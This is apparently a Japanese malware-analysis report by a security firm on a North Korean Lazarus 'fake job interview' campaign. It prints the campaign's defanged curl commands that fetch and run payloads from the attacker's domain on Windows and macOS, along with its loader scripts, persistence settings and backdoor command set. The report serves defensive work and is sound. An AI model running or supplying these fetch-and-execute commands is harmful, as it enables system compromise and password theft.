今日表示しない

トップへ戻る

トップへ戻る

脅威インテリジェンス

脅威インテリジェンス

脅威インテリジェンス

LazarusContagious Interview

LazarusContagious Interview

LazarusContagious Interview

ENKI WhiteHat

ENKI WhiteHat

コンテンツ

コンテンツ

コンテンツ

概要

北朝鮮のハッキンググループLazarusによるContagious Interviewキャンペーンを、Enkiは継続的に追跡してきました。このキャンペーンは23年から継続的に活動しており、求職者を対象とした合法的な採用面接を装ってマルウェアを配布し、最終的に暗号資産を奪取することを目的としています。

しかし、最近の追跡結果によると、24年12月からContagious Interviewキャンペーンの亜種を通じて、追加のマルウェアが配布されている状況を特定しました。本稿では、該当するフィッシングサイトを通じてマルウェアが配布され実行される、攻撃プロセス全体を分析します。

Contagious Interview 変種

従来のContagious Interviewキャンペーンは、求職者を対象に採用面接を行い、コーディング能力テストなどを理由にマルウェアが含まれたパッケージを実行するよう誘導することで初期侵入を行っていた。一方、変種キャンペーンでは、求職者を対象に採用面接を行うという点は同じだが、ビデオ面接サイトで「カメラにアクセスできません」という通知とともに、マルウェアをダウンロードするスクリプトを実行するよう誘導する方式に変更された。

さらに、初期侵入プロセスだけでなく、攻撃に使用されたマルウェアにも多くの変化が見られた。従来のJavaScriptで作成されたダウンローダーは、暗号資産ウォレット情報を窃取する機能が削除され、shファイルまたはvbsファイルに置き換えられた。Pythonで作成され、複数のファイルに機能が分割されていたバックドアマルウェアも、Go言語で作成されたバックドアに置き換えられ、ソースコードを直接コンパイルして実行する形態に変更されたことが確認された。

攻撃プロセス


Contagious Interview 캠페인의 변종 전체 공격 과정

caption - Contagious Interview キャンペーンの変種による全体攻撃プロセス

  1. 攻撃者がフィッシングURLを送信し、被害者のOSに応じて追加の攻撃プロセスを進行

  2. Windows

    2-1. nvidiaupdate.zip ファイルをダウンロードして解凍した後、nvidiaupdate 内の update.vbs ファイルを実行

    2-2. nvidiaupdate 内の nvidia.js ファイルを実行

    2-3. nvidiadrivers.zip ファイルをダウンロードして解凍した後、nvidiadrivers 内の update.vbs ファイルを実行

    2-4. nvidiadrivers 内の gobatch.bat ファイルを実行

    2-5. nvidiadrivers 内の Go言語バックドアソースコードを go run コマンドを通じて実行

  3. macOS

    3-1. ffmpeg.sh ファイルをダウンロードした後に実行

    3-2. VCam.zip ファイルをダウンロードして解凍した後、vcamservice.sh を実行、ChromeUpdateAlert.app を実行

    3-3. go run コマンドを通じて Go バックドアを実行

    3-4. ChromUpdateAlert.app がマイクへのアクセス権限を要求するふりをして、ユーザーのパスワードを奪取

  4. 最終的に Go で作成されたバックドアのソースコードがコンパイルされて実行される

詳細分析 1. フィッシングURL送信

攻撃者は暗号資産(仮想通貨)関連企業の採用担当者を装い、ウェブサイトを通じて面接を行うという名目で、フィッシングサイトのURLを攻撃対象に送信する。フィッシングサイトの特徴として、該当URLにアクセスすると、実際のビデオ面接を支援するサービスである「Willo」を模した「Video Interviewing」サイトが表示される。

Willo 서비스 위장 웹 사이트 화면

caption - Willoサービスを装ったウェブサイトの画面

面接プロセス

  • 面接(質問)が進む中、3番目の質問でビデオ撮影が要求される。

caption - 面接プロセスの途中でビデオ撮影を要求

  • カメラの使用がブロックされているというメッセージが表示される。

  • 問題を解決するために、ユーザーが「How to fix」をクリックするように誘導される。

오류 해결 문구로 공격자는 사용자의 클릭 유도

caption - エラー解決のテキストで、攻撃者はユーザーのクリックを誘導

ポップアップウィンドウの内容を読むと、cmdウィンドウ(コマンドプロンプト)を開き、提示されたcurlコマンドを入力するよう指示している。コマンドは、様々な環境の被害者を感染させる目的で、Windows用とmacOS用の2種類が存在する。この時、curl経由でダウンロードしなければ、ダミーファイルがダウンロードされる。

| OS      | 명령어                                                                                                                                                                                                                                                    | 다운로드 링크                                         | 다운로드 경로             | 실행되는 파일                   |
| ------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ----------------------------------------------------- | ------------------------- | ------------------------------- |
| Windows | curl -k -o "%TEMP%\nvidiaupdate.zip" hxxps://api[.]camera-drive[.]org/nvidia-ka[.]update && powershell -Command "Expand-Archive -Force -Path '%TEMP%\nvidiaupdate.zip' -DestinationPath '%TEMP%\nvidiadrive'" && wscript "%TEMP%\nvidiadrive\update.vbs" | hxxps://api[.]camera-drive[.]org/nvidia-ka[.]update | %TEMP%\nvidiaupdate.zip | %TEMP%\nvidiadrive\update.vbs |
| mac OS  | curl -k -o /var/tmp/ffmpeg.sh hxxps://api[.]camera-drive[.]org/ffmpeg-ka[.]sh && chmod +x /var/tmp/ffmpeg.sh && nohup bash /var/tmp/ffmpeg.sh >/dev/null 2>&1 &                                                                                          | hxxps://api[.]camera-drive[.]org/ffmpeg-ka[.]sh     | /var/tmp/ffmpeg.sh      | /var/tmp/ffmpeg.sh            |
| OS      | 명령어                                                                                                                                                                                                                                                    | 다운로드 링크                                         | 다운로드 경로             | 실행되는 파일                   |
| ------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ----------------------------------------------------- | ------------------------- | ------------------------------- |
| Windows | curl -k -o "%TEMP%\nvidiaupdate.zip" hxxps://api[.]camera-drive[.]org/nvidia-ka[.]update && powershell -Command "Expand-Archive -Force -Path '%TEMP%\nvidiaupdate.zip' -DestinationPath '%TEMP%\nvidiadrive'" && wscript "%TEMP%\nvidiadrive\update.vbs" | hxxps://api[.]camera-drive[.]org/nvidia-ka[.]update | %TEMP%\nvidiaupdate.zip | %TEMP%\nvidiadrive\update.vbs |
| mac OS  | curl -k -o /var/tmp/ffmpeg.sh hxxps://api[.]camera-drive[.]org/ffmpeg-ka[.]sh && chmod +x /var/tmp/ffmpeg.sh && nohup bash /var/tmp/ffmpeg.sh >/dev/null 2>&1 &                                                                                          | hxxps://api[.]camera-drive[.]org/ffmpeg-ka[.]sh     | /var/tmp/ffmpeg.sh      | /var/tmp/ffmpeg.sh            |
| OS      | 명령어                                                                                                                                                                                                                                                    | 다운로드 링크                                         | 다운로드 경로             | 실행되는 파일                   |
| ------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ----------------------------------------------------- | ------------------------- | ------------------------------- |
| Windows | curl -k -o "%TEMP%\nvidiaupdate.zip" hxxps://api[.]camera-drive[.]org/nvidia-ka[.]update && powershell -Command "Expand-Archive -Force -Path '%TEMP%\nvidiaupdate.zip' -DestinationPath '%TEMP%\nvidiadrive'" && wscript "%TEMP%\nvidiadrive\update.vbs" | hxxps://api[.]camera-drive[.]org/nvidia-ka[.]update | %TEMP%\nvidiaupdate.zip | %TEMP%\nvidiadrive\update.vbs |
| mac OS  | curl -k -o /var/tmp/ffmpeg.sh hxxps://api[.]camera-drive[.]org/ffmpeg-ka[.]sh && chmod +x /var/tmp/ffmpeg.sh && nohup bash /var/tmp/ffmpeg.sh >/dev/null 2>&1 &                                                                                          | hxxps://api[.]camera-drive[.]org/ffmpeg-ka[.]sh     | /var/tmp/ffmpeg.sh      | /var/tmp/ffmpeg.sh            |

詳細分析 2. Windows

Windows用のコマンドは、nvidiaupdate.zipファイルをダウンロードして解凍し、update.vbsファイルを実行する。

nvidiaupdate.zipファイルには、update.vbsnvidia.js、およびJavaScriptファイルを実行するためのnode.exeなどのファイルが圧縮されている。

| 압축된 파일      | 내용                                                                                                                                                                                                                                                    | 
| ------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | 
| update.vbs | nvidia.js파일을 실행시키기 위한 로더 기능의 스크립트 파일 |
| nvidia.js  | 추가 악성 파일을 받아오기 위한 다운로더 기능의 스크립트 파일 |
| node.exe   | JavaScript 파일 실행용 Node.js 실행 파일

| 압축된 파일      | 내용                                                                                                                                                                                                                                                    | 
| ------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | 
| update.vbs | nvidia.js파일을 실행시키기 위한 로더 기능의 스크립트 파일 |
| nvidia.js  | 추가 악성 파일을 받아오기 위한 다운로더 기능의 스크립트 파일 |
| node.exe   | JavaScript 파일 실행용 Node.js 실행 파일

| 압축된 파일      | 내용                                                                                                                                                                                                                                                    | 
| ------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | 
| update.vbs | nvidia.js파일을 실행시키기 위한 로더 기능의 스크립트 파일 |
| nvidia.js  | 추가 악성 파일을 받아오기 위한 다운로더 기능의 스크립트 파일 |
| node.exe   | JavaScript 파일 실행용 Node.js 실행 파일

2.1. download nvidiaupdate and execute update.vbs

update.vbsファイルは、現在のディレクトリを基準にnvidia.jsファイルをNode.jsで実行する。

Set objShell = CreateObject("WScript.Shell")

' Get the current directory
currentDir = CreateObject("Scripting.FileSystemObject").GetParentFolderName(WScript.ScriptFullName)
objShell.CurrentDirectory = currentDir


' Run the Node.js script
objShell.Run "cmd /c node nvidia.js", 0, False
Set objShell = CreateObject("WScript.Shell")

' Get the current directory
currentDir = CreateObject("Scripting.FileSystemObject").GetParentFolderName(WScript.ScriptFullName)
objShell.CurrentDirectory = currentDir


' Run the Node.js script
objShell.Run "cmd /c node nvidia.js", 0, False
Set objShell = CreateObject("WScript.Shell")

' Get the current directory
currentDir = CreateObject("Scripting.FileSystemObject").GetParentFolderName(WScript.ScriptFullName)
objShell.CurrentDirectory = currentDir


' Run the Node.js script
objShell.Run "cmd /c node nvidia.js", 0, False

2.2. execute nvidia.js

nvidia.jsファイルは、hxxps://api[.]camera-drive[.]org/nvidiawin[.]updateからファイルをダウンロードし、nvidiadrivers.zipとして保存する。その後、nvidiadrivers.zipファイルを解凍し、update.vbsファイルを実行する。ダウンロードと実行が完了すると、持続性を確保するために以下のようにレジストリキーを設定する。

| 레지스트리 경로      | 이름 |  | 
| ------- | ------- | ----- |
| HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run | NvidiaDriverUpdate | wscript %TEMP%\nvidiadrivers\update.vbs

| 레지스트리 경로      | 이름 |  | 
| ------- | ------- | ----- |
| HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run | NvidiaDriverUpdate | wscript %TEMP%\nvidiadrivers\update.vbs

| 레지스트리 경로      | 이름 |  | 
| ------- | ------- | ----- |
| HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run | NvidiaDriverUpdate | wscript %TEMP%\nvidiadrivers\update.vbs

2.3. download nvidiadrivers and execute update.vbs

nvidiadrivers.zipファイルには、update.vbs、gobatch.batファイル、Go言語で記述されたバックドアのソースコード、Go言語をコンパイルおよび実行するためのgo.exeなどのファイルが圧縮されている。

| 압축된 파일      | 내용                                                                                                                                                                                                                                                    | 
| ------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | 
| update.vbs | gobatch.bat 파일 실행을 위한 스크립트 파일 |
| gobatch.bat  | 백도어 GO 소스코드 컴파일 실행을 위한 스크립트 파일 |
| go.exe   | GO 언어 실행 파일

| 압축된 파일      | 내용                                                                                                                                                                                                                                                    | 
| ------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | 
| update.vbs | gobatch.bat 파일 실행을 위한 스크립트 파일 |
| gobatch.bat  | 백도어 GO 소스코드 컴파일 실행을 위한 스크립트 파일 |
| go.exe   | GO 언어 실행 파일

| 압축된 파일      | 내용                                                                                                                                                                                                                                                    | 
| ------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | 
| update.vbs | gobatch.bat 파일 실행을 위한 스크립트 파일 |
| gobatch.bat  | 백도어 GO 소스코드 컴파일 실행을 위한 스크립트 파일 |
| go.exe   | GO 언어 실행 파일

2.4. execute gobatch.bat

update.vbsファイルは、gobatch.batファイルを実行してGOバックドアをコンパイルし実行する。

Dim objShell
Set objShell = CreateObject("WScript.Shell")

' Get the current directory
currentDir = CreateObject("Scripting.FileSystemObject").GetParentFolderName(WScript.ScriptFullName)

' Specify the batch file name (change this to your .bat file name)
batchFileName = "gobatch.bat"

' Combine current directory and batch file name
expectedFile = currentDir & "\" & batchFileName


' Run the batch file silently
objShell.Run "cmd.exe /c """ & expectedFile & """", 0, False

Dim objShell
Set objShell = CreateObject("WScript.Shell")

' Get the current directory
currentDir = CreateObject("Scripting.FileSystemObject").GetParentFolderName(WScript.ScriptFullName)

' Specify the batch file name (change this to your .bat file name)
batchFileName = "gobatch.bat"

' Combine current directory and batch file name
expectedFile = currentDir & "\" & batchFileName


' Run the batch file silently
objShell.Run "cmd.exe /c """ & expectedFile & """", 0, False

Dim objShell
Set objShell = CreateObject("WScript.Shell")

' Get the current directory
currentDir = CreateObject("Scripting.FileSystemObject").GetParentFolderName(WScript.ScriptFullName)

' Specify the batch file name (change this to your .bat file name)
batchFileName = "gobatch.bat"

' Combine current directory and batch file name
expectedFile = currentDir & "\" & batchFileName


' Run the batch file silently
objShell.Run "cmd.exe /c """ & expectedFile & """", 0, False

2.5. execute go backdoor

go runコマンドを通じてGoソースコードをコンパイルして実行する。さらに、検出を回避するためのランダムな遅延時間コードが挿入されている。

@echo off

REM Set the working directory to the folder where this script is located
cd /d %~dp0

REM Step 1: Set the Go project file and delay range
echo Installing Dependencies...

set project_file=app.go
.\bin\go run %project_file%

REM Step 2: Calculate a random delay between 10 to 30 minutes (600 to 1800 seconds)
set /a min_delay=600
set /a max_delay=1200
set /a random_delay=%random% * (%max_delay% - %min_delay% + 1) / 32768 + %min_delay%

REM Step 3: Display the selected delay time
echo Waiting for %random_delay% seconds before running the Go project...
timeout /t %random_delay% /nobreak >nul

REM Step 4: Run the Go project

REM End of script
exit /b
@echo off

REM Set the working directory to the folder where this script is located
cd /d %~dp0

REM Step 1: Set the Go project file and delay range
echo Installing Dependencies...

set project_file=app.go
.\bin\go run %project_file%

REM Step 2: Calculate a random delay between 10 to 30 minutes (600 to 1800 seconds)
set /a min_delay=600
set /a max_delay=1200
set /a random_delay=%random% * (%max_delay% - %min_delay% + 1) / 32768 + %min_delay%

REM Step 3: Display the selected delay time
echo Waiting for %random_delay% seconds before running the Go project...
timeout /t %random_delay% /nobreak >nul

REM Step 4: Run the Go project

REM End of script
exit /b
@echo off

REM Set the working directory to the folder where this script is located
cd /d %~dp0

REM Step 1: Set the Go project file and delay range
echo Installing Dependencies...

set project_file=app.go
.\bin\go run %project_file%

REM Step 2: Calculate a random delay between 10 to 30 minutes (600 to 1800 seconds)
set /a min_delay=600
set /a max_delay=1200
set /a random_delay=%random% * (%max_delay% - %min_delay% + 1) / 32768 + %min_delay%

REM Step 3: Display the selected delay time
echo Waiting for %random_delay% seconds before running the Go project...
timeout /t %random_delay% /nobreak >nul

REM Step 4: Run the Go project

REM End of script
exit /b

詳細分析 3. MacOS

3-1. download and execute ffmpeg.sh

ffmpeg.shファイルは、実行されたデバイスのCPUアーキテクチャに応じて異なるURLを使用し、次の段階のマルウェアをダウンロードする。

| CPU 아키텍처      | 다운로드 url | 
| ------- | ------- |
| arm64 | hxxps://api[.]camera-drive[.]org/VCam1[.]update |
| x86_64 | hxxps://api[.]camera-drive[.]org/VCam2[.]update |
| CPU 아키텍처      | 다운로드 url | 
| ------- | ------- |
| arm64 | hxxps://api[.]camera-drive[.]org/VCam1[.]update |
| x86_64 | hxxps://api[.]camera-drive[.]org/VCam2[.]update |
| CPU 아키텍처      | 다운로드 url | 
| ------- | ------- |
| arm64 | hxxps://api[.]camera-drive[.]org/VCam1[.]update |
| x86_64 | hxxps://api[.]camera-drive[.]org/VCam2[.]update |

ダウンロードされたファイルは/var/tmp/VCam.zipとして保存される。ダウンロードが完了したファイルは、解凍された後に vcamservice.sh ファイルを実行する。その後、持続性を確保するために ~/Library/LaunchAgents/com.vcam.plist パスに以下のようなファイルを生成し、スタートアッププログラムとして登録する。

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
    <key>Label</key>
    <string>com.vcam</string>
    <key>ProgramArguments</key>
    <array>
        <string>/var/tmp/VCam/vcamservice.sh</string>
    </array>
    <key>RunAtLoad</key>
    <true/>
    <key>KeepAlive</key>
    <false/>
</dict>
</plist>
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
    <key>Label</key>
    <string>com.vcam</string>
    <key>ProgramArguments</key>
    <array>
        <string>/var/tmp/VCam/vcamservice.sh</string>
    </array>
    <key>RunAtLoad</key>
    <true/>
    <key>KeepAlive</key>
    <false/>
</dict>
</plist>
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
    <key>Label</key>
    <string>com.vcam</string>
    <key>ProgramArguments</key>
    <array>
        <string>/var/tmp/VCam/vcamservice.sh</string>
    </array>
    <key>RunAtLoad</key>
    <true/>
    <key>KeepAlive</key>
    <false/>
</dict>
</plist>

最後に ChromeUpdateAlert.app を実行し、/var/tmp/VCam.zip ファイルを削除する。

3.2. download VCam and execute vcamservice.sh, ChromeUpdateAlert.app

VCam.zipファイルには、vcamservice.sh、ChromeUpdateAlert.appとGo言語で作成されたバックドアのソースコード、Go言語をコンパイルおよび実行するためのgoなどのファイルが圧縮されている。

| 압축된 파일      | 내용 | 
| ------- | ------- |
| vcamservice.sh | GO 소스코드를 컴파일하여 실행하기위한 스크립트 파일 |
| ChromeUpdateAlert.app | chrome으로 위장한 인증창 표시 기능(비밀번호 탈취 목적) |
| go | GO 언어 컴파일 실행 파일

| 압축된 파일      | 내용 | 
| ------- | ------- |
| vcamservice.sh | GO 소스코드를 컴파일하여 실행하기위한 스크립트 파일 |
| ChromeUpdateAlert.app | chrome으로 위장한 인증창 표시 기능(비밀번호 탈취 목적) |
| go | GO 언어 컴파일 실행 파일

| 압축된 파일      | 내용 | 
| ------- | ------- |
| vcamservice.sh | GO 소스코드를 컴파일하여 실행하기위한 스크립트 파일 |
| ChromeUpdateAlert.app | chrome으로 위장한 인증창 표시 기능(비밀번호 탈취 목적) |
| go | GO 언어 컴파일 실행 파일

3.3. execute go backdoor

vcamservice.shファイルは、go runコマンドを通じてGoソースコードをコンパイルして実行する。

#!/bin/bash

# Set the working directory to the folder where this script is located
cd "$(dirname "$0")"

echo "Installing Dependencies..."

project_file="app.go"
./bin/go run "$project_file"

exit 0
#!/bin/bash

# Set the working directory to the folder where this script is located
cd "$(dirname "$0")"

echo "Installing Dependencies..."

project_file="app.go"
./bin/go run "$project_file"

exit 0
#!/bin/bash

# Set the working directory to the folder where this script is located
cd "$(dirname "$0")"

echo "Installing Dependencies..."

project_file="app.go"
./bin/go run "$project_file"

exit 0

3.4. upload password

バージョン12以上のmacOSでのみ実行されるマルウェアで、Chromeを自称してパスワードを窃取する。

実行時、以下のようにGoogle Chromeがマイクの権限を要求しているというメッセージが表示される。

마이크 권한 요청 화면

caption - マイクの権限要求画面

その後、認証が必要であるとしてパスワードを要求する。

비밀번호 요구화면

caption - パスワード要求画面

入力されたパスワードは、dropbox apiを介してクラウドサービスにpassword.txtファイルとしてアップロードされる。

입력된 비밀번호 탈취 코드

caption - 入力されたパスワードの窃取コード

アップロードに使用されるdropboxトークンはハードコーディングされている。

dropbox 토큰 정보

caption - dropboxトークン情報

詳細分析 4. コマンド&コントロール

gobatch.bat ファイルまたは vcamservice.sh ファイルを介してコンパイルおよび実行されるバックドアで、コンパイル済みのバイナリではなく、ソースコードがダウンロードされる特徴がある。バックドアのC&Cサーバーのアドレスは平文でハードコードされており、コメントとして hxxps://api[.]jz-aws[.]info/public/images/ のようなURLが追加で記述されている。

caption - 順にハードコードされたC&CサーバーURL(コメント)、C&CサーバーアドレスIP、テストIP(コメント)

http postリクエストを送信してC&Cサーバーに接続し、通信におけるすべてのメッセージはRC4で暗号化され、以下のような構造を持つ。

  • [MD5sum][RC4EncryptedMsg][128ByteRC4Key]

最初にC&Cサーバーに接続する際には、ユーザー名、ホスト、OSなどの情報を一緒に送信する。

C&Cサーバーから送信されたhttpレスポンスをRC4で復号し、空白を基準に分割して、メッセージタイプに応じてコマンドを実行する。メッセージタイプは、復号されたメッセージの最先頭にbase64でエンコードされている。

caption - base64デコード関数

メッセージタイプに応じた動作は以下の通りである。

| コマンド | コマンド名      | 受信形式        | 送信形式 | 動作                                                                         |
| ---------- | ----------------- | --------------------- | --------------- | ----------------------------------------------------------------------------- |
| qwer      | COMMAND_INFO     | type                 | info           | ユーザー名、ホスト、OSなどの情報を送信                   |
| asdf      | COMMAND_UPLOAD   | type, path, filedata | log            | サーバーから送信されたファイルを指定されたパスに保存                         |
| zxcv      | COMMAND_DOWNLOAD | type, path           | file           | 指定されたパスのファイルを送信                                  |
| vbcx      | COMMAND_OSSHELL  | type, shell, timeout | log            | 指定されたshellコマンドを実行                                         |
| ghdj      | COMMAND_WAIT     | type, interval       | ping           | 指定された時間だけスリープし、ランダムな数字でpingを送信 |
| r4ys      | COMMAND_AUTO     | type, mode           | log            | modeに応じてchromeからデータを読み取って送信            |
| dghh      | COMMAND_EXIT     | type                 | x              | プロセス終了

| コマンド | コマンド名      | 受信形式        | 送信形式 | 動作                                                                         |
| ---------- | ----------------- | --------------------- | --------------- | ----------------------------------------------------------------------------- |
| qwer      | COMMAND_INFO     | type                 | info           | ユーザー名、ホスト、OSなどの情報を送信                   |
| asdf      | COMMAND_UPLOAD   | type, path, filedata | log            | サーバーから送信されたファイルを指定されたパスに保存                         |
| zxcv      | COMMAND_DOWNLOAD | type, path           | file           | 指定されたパスのファイルを送信                                  |
| vbcx      | COMMAND_OSSHELL  | type, shell, timeout | log            | 指定されたshellコマンドを実行                                         |
| ghdj      | COMMAND_WAIT     | type, interval       | ping           | 指定された時間だけスリープし、ランダムな数字でpingを送信 |
| r4ys      | COMMAND_AUTO     | type, mode           | log            | modeに応じてchromeからデータを読み取って送信            |
| dghh      | COMMAND_EXIT     | type                 | x              | プロセス終了

| コマンド | コマンド名      | 受信形式        | 送信形式 | 動作                                                                         |
| ---------- | ----------------- | --------------------- | --------------- | ----------------------------------------------------------------------------- |
| qwer      | COMMAND_INFO     | type                 | info           | ユーザー名、ホスト、OSなどの情報を送信                   |
| asdf      | COMMAND_UPLOAD   | type, path, filedata | log            | サーバーから送信されたファイルを指定されたパスに保存                         |
| zxcv      | COMMAND_DOWNLOAD | type, path           | file           | 指定されたパスのファイルを送信                                  |
| vbcx      | COMMAND_OSSHELL  | type, shell, timeout | log            | 指定されたshellコマンドを実行                                         |
| ghdj      | COMMAND_WAIT     | type, interval       | ping           | 指定された時間だけスリープし、ランダムな数字でpingを送信 |
| r4ys      | COMMAND_AUTO     | type, mode           | log            | modeに応じてchromeからデータを読み取って送信            |
| dghh      | COMMAND_EXIT     | type                 | x              | プロセス終了

caption - メッセージタイプに応じた動作

おわりに

本稿では、LazarusグループのContagious Interviewキャンペーンと推定されるフィッシング手法と、それを通じて実行されるバックドアの動作原理、主要なコマンド、およびC&C通信構造を詳細に分析した。

攻撃者は、さまざまなオペレーティングシステム環境を狙った巧妙な攻撃手法を活用しており、ファイルのダウンロード、持続性の確保、リモートコマンドの実行など、体系的な方法でターゲットシステムを掌握しようとする意図を示した。

このような攻撃はますます進化し、より巧妙かつ隠密な方法へと発展する可能性が高い。これに伴い、セキュリティ組織や企業は、継続的な監視と分析を通じて迅速に対応できるセキュリティ体制を整える必要があるだろう。

本稿が、絶えず変化するサイバー脅威に対抗するための防御戦略を樹立する上で、有用な参考資料となることを願う。

IOC

10e4c74df854f63951facfd589717be18b746befd9099e1d9083f0cb6cf310c3

bfac94bfb53b4c0ac346706b06296353462a26fa3bb09fbfc99e3ca090ec127e

98373befd5fd24ebac29604848e15b3abe8966b2d5e83323a08247f07b5c3d6f

13e7589c778b4b36420ce77145a98b75ba54150ab80ea06a73ad0924e7da7d20

35f27685fbd1b0507106862870bafa5f3a7fc5d9f27dc59fffea18182d67cf35

b951066189461d2acd27b635f3f858be4c94734b81df7e63cc3af0476b90c6dd

b3da2af06b5828d6809614c4c86a5dfa25bad29a605869f94c5d4ecbc4362c3f

a01ebbcc2aa25527ea4a0367c00c780ff563f37f5776629adf928ced6f22ce00

bab567e14eedf6690fbee8ac4ac448a5b663deff14ff5f1fec97bb16eedf027d

b2a4a981ba7cc2add74737957efdfcbd123922653e3bb109aa7e88d70796a340

c56a1897e97a5e52bf1d879eba55541c85f7d8684becc88feb7875d860d91ad9

cee03de4bd70cbd7b6bca498d3cf9c6d07bd0d9d7667c1ba84d7da6e1a4f54d9

hxxp://216[.]74[.]123[.]191:8080

hxxps://api[.]camera-drive[.]org/VCam2[.]update

hxxps://api[.]camera-drive[.]org/VCam1[.]update

hxxps://api[.]camera-drive[.]org/nvidia-ka[.]update

hxxps://api[.]camera-drive[.]org/ffmpeg-ka[.]sh

digitpotalent[.]com

digitptalent[.]com

ENKI WhiteHat

ENKI WhiteHat

ENKI WhiteHat
ENKI WhiteHat

オフェンシブセキュリティの専門企業として、攻撃者の視点から次元の異なるセキュリティを提示します。

オフェンシブセキュリティの専門企業として、攻撃者の視点から次元の異なるセキュリティを提示します。

隙のないセキュリティ設計の始まり、NO.1ホワイトハッカーのノウハウから

インシデント発生前、
今すぐ備えましょう

隙のないセキュリティ設計の始まり、
No.1ホワイトハッカーのノウハウから

インシデント発生前、
今すぐ備えましょう

隙のないセキュリティ設計の始まり、
No.1ホワイトハッカーのノウハウから

インシデント発生前、
今すぐ備えましょう

購読する

コンテンツが役に立ったら?
エンキーレターを購読しましょう!

Copyright © 2025. ENKI WhiteHat Co., Ltd. All rights reserved.

Copyright © 2025. ENKI WhiteHat Co., Ltd. All rights reserved.

Copyright © 2025. ENKI WhiteHat Co., Ltd. All rights reserved.